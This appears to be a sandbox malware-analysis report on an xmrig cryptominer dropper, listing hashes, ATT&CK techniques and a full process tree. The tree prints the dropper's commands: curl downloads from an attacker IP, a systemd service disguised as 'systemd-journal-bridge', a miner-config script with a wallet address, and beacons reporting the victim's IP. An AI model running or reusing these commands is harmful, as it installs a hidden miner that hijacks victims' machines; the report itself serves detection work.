xmrig | 482ce2cc1231f144f138819f6bd7d3c80be98b9f3eae2ffaa5c2ac68cb935452

Analysis

max time kernel
46s
max time network
48s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
26/10/2026, 23:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
482ce2cc1231f144f138819f6bd7d3c80be98b9f3eae2ffaa5c2ac68cb935452
Size 3KB
Sample261026-29atmshs4t
SHA256 482ce2cc1231f144f138819f6bd7d3c80be98b9f3eae2ffaa5c2ac68cb935452
MD5 3908d026ac1f9085be8828010688d0a7
SHA1 ba31c92ca619b37e804c5a13345fa42c8bdb5095
SHA512 1541308742a461bfac059ede96cdbbbbe1ae27dae3c2c9f0c0dd85c93e257095cc9c2d0962cd3ad7e00408944e2f71acef725a68ff970885589829cc56b830a3
TLSH
T1F151C560A6F57830FB0380689B17C250BB003937599AB2B8B1ECD910F7E9041E239F7D
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery xmrig miner persistence privilege_escalation

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xmrig
behavioral3/files/fstream-1.dat	xmrig

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
755	chmod

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/systemd-journal-bridge.service	482ce2cc1231f144f138819f6bd7d3c80be98b9f3eae2ffaa5c2ac68cb935452

Reads CPU attributes 1 TTPs 2 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep

Enumerates kernel/hardware configuration 1 TTPs 4 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/cgroup/memory.max	python3
File opened for reading	/sys/fs/cgroup/memory/memory.limit_in_bytes	python3
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/715/status	pgrep
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/8/status	pgrep
File opened for reading	/proc/705/status	pgrep
File opened for reading	/proc/73/cmdline	pgrep
File opened for reading	/proc/710/status	pgrep
File opened for reading	/proc/9/cmdline	pgrep
File opened for reading	/proc/23/cmdline	pgrep
File opened for reading	/proc/81/status	pgrep
File opened for reading	/proc/679/status	pgrep
File opened for reading	/proc/1/cmdline	pgrep
File opened for reading	/proc/383/cmdline	pgrep
File opened for reading	/proc/677/cmdline	pgrep
File opened for reading	/proc/362/status	pgrep
File opened for reading	/proc/383/cmdline	pgrep
File opened for reading	/proc/710/cmdline	pgrep
File opened for reading	/proc/81/cmdline	pgrep
File opened for reading	/proc/11/cmdline	pgrep
File opened for reading	/proc/16/status	pgrep
File opened for reading	/proc/669/status	pgrep
File opened for reading	/proc/680/status	pgrep
File opened for reading	/proc/21/cmdline	pgrep
File opened for reading	/proc/110/cmdline	pgrep
File opened for reading	/proc/161/status	pgrep
File opened for reading	/proc/249/status	pgrep
File opened for reading	/proc/15/status	pgrep
File opened for reading	/proc/110/cmdline	pgrep
File opened for reading	/proc/125/status	pgrep
File opened for reading	/proc/20/cmdline	pgrep
File opened for reading	/proc/364/status	pgrep
File opened for reading	/proc/386/status	pgrep
File opened for reading	/proc/75/status	pgrep
File opened for reading	/proc/720/status	pgrep
File opened for reading	/proc/18/status	pgrep
File opened for reading	/proc/37/cmdline	pgrep
File opened for reading	/proc/161/cmdline	pgrep
File opened for reading	/proc/712/status	pgrep
File opened for reading	/proc/11/cmdline	pgrep
File opened for reading	/proc/12/cmdline	pgrep
File opened for reading	/proc/362/cmdline	pgrep
File opened for reading	/proc/421/cmdline	pgrep
File opened for reading	/proc/79/cmdline	pgrep
File opened for reading	/proc/82/cmdline	pgrep
File opened for reading	/proc/234/status	pgrep
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/7/cmdline	pgrep
File opened for reading	/proc/8/cmdline	pgrep
File opened for reading	/proc/110/status	pgrep
File opened for reading	/proc/125/status	pgrep
File opened for reading	/proc/10/status	pgrep
File opened for reading	/proc/18/status	pgrep
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/21/status	pgrep
File opened for reading	/proc/669/cmdline	pgrep
File opened for reading	/proc/19/cmdline	pgrep
File opened for reading	/proc/712/status	pgrep
File opened for reading	/proc/24/status	pgrep
File opened for reading	/proc/789/status	pgrep
File opened for reading	/proc/7/status	pgrep
File opened for reading	/proc/680/cmdline	pgrep
File opened for reading	/proc/711/cmdline	pgrep
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/421/status	pgrep
File opened for reading	/proc/79/status	pgrep

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
754	python3

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh-thd.0XXgqi	482ce2cc1231f144f138819f6bd7d3c80be98b9f3eae2ffaa5c2ac68cb935452

/tmp/482ce2cc1231f144f138819f6bd7d3c80be98b9f3eae2ffaa5c2ac68cb935452
/tmp/482ce2cc1231f144f138819f6bd7d3c80be98b9f3eae2ffaa5c2ac68cb935452
1⤵
- Modifies systemd
- Writes file to tmp directory
PID:715
- /bin/uname
  uname -m
  2⤵
  PID:719
- /usr/bin/pgrep
  pgrep -f /usr/lib/systemd/systemd-journal-bridge
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:721
- /bin/grep
  grep -q systemd-journal-bridge /proc/10/comm /proc/110/comm /proc/11/comm /proc/125/comm /proc/126/comm /proc/12/comm /proc/13/comm /proc/14/comm /proc/153/comm /proc/15/comm /proc/161/comm /proc/16/comm /proc/176/comm /proc/17/comm /proc/18/comm /proc/19/comm /proc/1/comm /proc/20/comm /proc/21/comm /proc/22/comm /proc/234/comm /proc/23/comm /proc/249/comm /proc/24/comm /proc/2/comm /proc/336/comm /proc/360/comm /proc/362/comm /proc/364/comm /proc/365/comm /proc/36/comm /proc/378/comm /proc/37/comm /proc/383/comm /proc/386/comm /proc/3/comm /proc/421/comm /proc/4/comm /proc/5/comm /proc/669/comm /proc/675/comm /proc/677/comm /proc/679/comm /proc/680/comm /proc/6/comm /proc/703/comm /proc/705/comm /proc/70/comm /proc/710/comm /proc/711/comm /proc/712/comm /proc/715/comm /proc/716/comm /proc/71/comm /proc/720/comm /proc/724/comm /proc/725/comm /proc/72/comm /proc/73/comm /proc/74/comm /proc/75/comm /proc/76/comm /proc/77/comm /proc/79/comm /proc/7/comm /proc/81/comm /proc/82/comm /proc/8/comm /proc/9/comm /proc/self/comm /proc/thread-self/comm
  2⤵
  PID:730
- /bin/mkdir
  mkdir -p /usr/lib/systemd
  2⤵
  - Reads runtime system information
  PID:733
- /usr/bin/curl
  curl -s -o ./systemd-journal-bridge http://167.17.180.101:8080/systemd-journal-bridge
  2⤵
  PID:736
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:749
- /bin/hostname
  hostname -I
  2⤵
  PID:748
- /usr/bin/tr
  tr . -
  2⤵
  PID:752
- /usr/bin/curl
  curl -s http://167.17.180.101:8080/config.json
  2⤵
  PID:753
- /usr/bin/python3
  python3 -c " import json,sys c=json.load(sys.stdin) c['pools'][0]['rig-id']=sys.argv[1] c['pools'][0]['user']=sys.argv[2]+'.'+sys.argv[1] # adaptive: fast mode only if this box (or its cgroup) really has >=3GB RAM. mem=0 for p in ('/sys/fs/cgroup/memory.max','/sys/fs/cgroup/memory/memory.limit_in_bytes'): try: v=open(p).read().strip() if v.isdigit() and int(v) < (1<<50): mem=int(v)//(1024*1024) break except Exception: pass if mem==0: try: for l in open('/proc/meminfo'): if l.startswith('MemTotal'): mem=int(l.split()[1])//1024 break except Exception: pass if mem>=3000: c['randomx']['mode']='fast' c['cpu']={'threads':1} # fast mode needs 2.5GB per thread: 1 thread only else: c['randomx']['mode']='light' print(json.dumps(c)) " VICTIM_10-127-0-169 44e7oLGjPwj14qxHaezKUJXiXsLqtoZrwRtTrsNa99sMfo6QsXSZv7q99VG4dAbm9v9LKnFtcYGnNN3n2BjGsCtr89Xg8Ar
  2⤵
  - Enumerates kernel/hardware configuration
  - System Network Configuration Discovery
  PID:754
- /bin/chmod
  chmod +x ./systemd-journal-bridge
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /bin/cat
  cat
  2⤵
  PID:756
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  - Enumerates kernel/hardware configuration
  PID:757
- /bin/systemctl
  systemctl enable --now systemd-journal-bridge.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:770
- /usr/bin/curl
  curl -s -m 5 "http://167.17.180.101:8080/report?10.127.0.169"
  2⤵
  PID:791
- /bin/sleep
  sleep 30
  2⤵
  PID:793
- /usr/bin/pgrep
  pgrep -f /usr/lib/systemd/systemd-journal-bridge
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:882
- /usr/bin/cut
  cut -c1-60
  2⤵
  PID:886
- /usr/bin/tr
  tr -c "a-zA-Z0-9 .:-" _
  2⤵
  PID:885
- /usr/bin/tail
  tail -1 /tmp/m.log
  2⤵
  PID:884
- /usr/bin/wget
  wget -q -O /dev/null -T 5 "http://167.17.180.101:8080/report?MINERERR_10.127.0.169_"
  2⤵
  PID:887

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sh-thd.0XXgqi

Path /tmp/sh-thd.0XXgqi
Size 243B
SHA256 a81d979975332ccb7dfd664699d1fc2e58f17d83cf75fc2fc4f702897b306478
MD5 dacac2ea6da65f8ad1d02390b2eb39d3
SHA1 5612003d8eff88d215a21baafece29e17f22cbe3
SHA512 fdbe0864f8ef1dd8c0dd5071b3f19c32f2fba1ec4d00560f2abbe88f4c6f1517ea88e1ceccdb01daf02caab3587f9561ee2ecba32160408163b6512fb58939c7
TLSH
T1BED09731BFA464B4910238F18D107B04C010310DDE9DF230BFC00486E1D082AD032D35
MD5 SHA1 SHA512 TLSH

Submit Download

bridge.conf

Path /usr/lib/systemd/bridge.conf
Size 482B
SHA256 38792d5504a5ea857eed03971cbc043449ebf9a118483c4dd89acc551377b02b
MD5 bbd3ade12370ff9d99b4f35bb59cb830
SHA1 8f19a1d9a4b3682fc65c0a1af19c0dc5b48ec70e
SHA512 e18ea94bb69b282e4f2cb43888e828c9a5c7c4a0d8a24f7fb6fea219338d381f51cec9b5c1ff853f5a13de7b93a51b2e84133b5d49a83bc08dcfbdbc1364be91
TLSH
T1BCF02E11BC2B557771B1D84C127628926F1474B544949AB343B3B860B74C72AA6166CD
MD5 SHA1 SHA512 TLSH

Submit Download

systemd-journal-bridge

Path /usr/lib/systemd/systemd-journal-bridge
Size 8.0MB
SHA256 b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
MD5 e1b3e738928012a07dfce8659b3ff31d
SHA1 c9bb4fc8eadaad35e50de087e3bbd5969cb2df2f
SHA512 cb8b152ebecad5cffdc635ee9ba7e7b3007772b16088aa48e1374e1230db52ae0f2b135369085e6c64a9e61821244b7b0fa2cb13d7fd48af1668c9133d942835
SSDEEP 98304:YSKSi/FM70AF/Auk3zX0H6aguAcFZqKjjMRPEkLqm7XyGkNA4xT0+x2gGYwZsVZ2:ssQLqmjsxymsONkEZqIzolQdo
TLSH
T17E865B47B6E318FDC19AC470472FD663BD70B8984221797B7698AA302F67E205B1DF21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads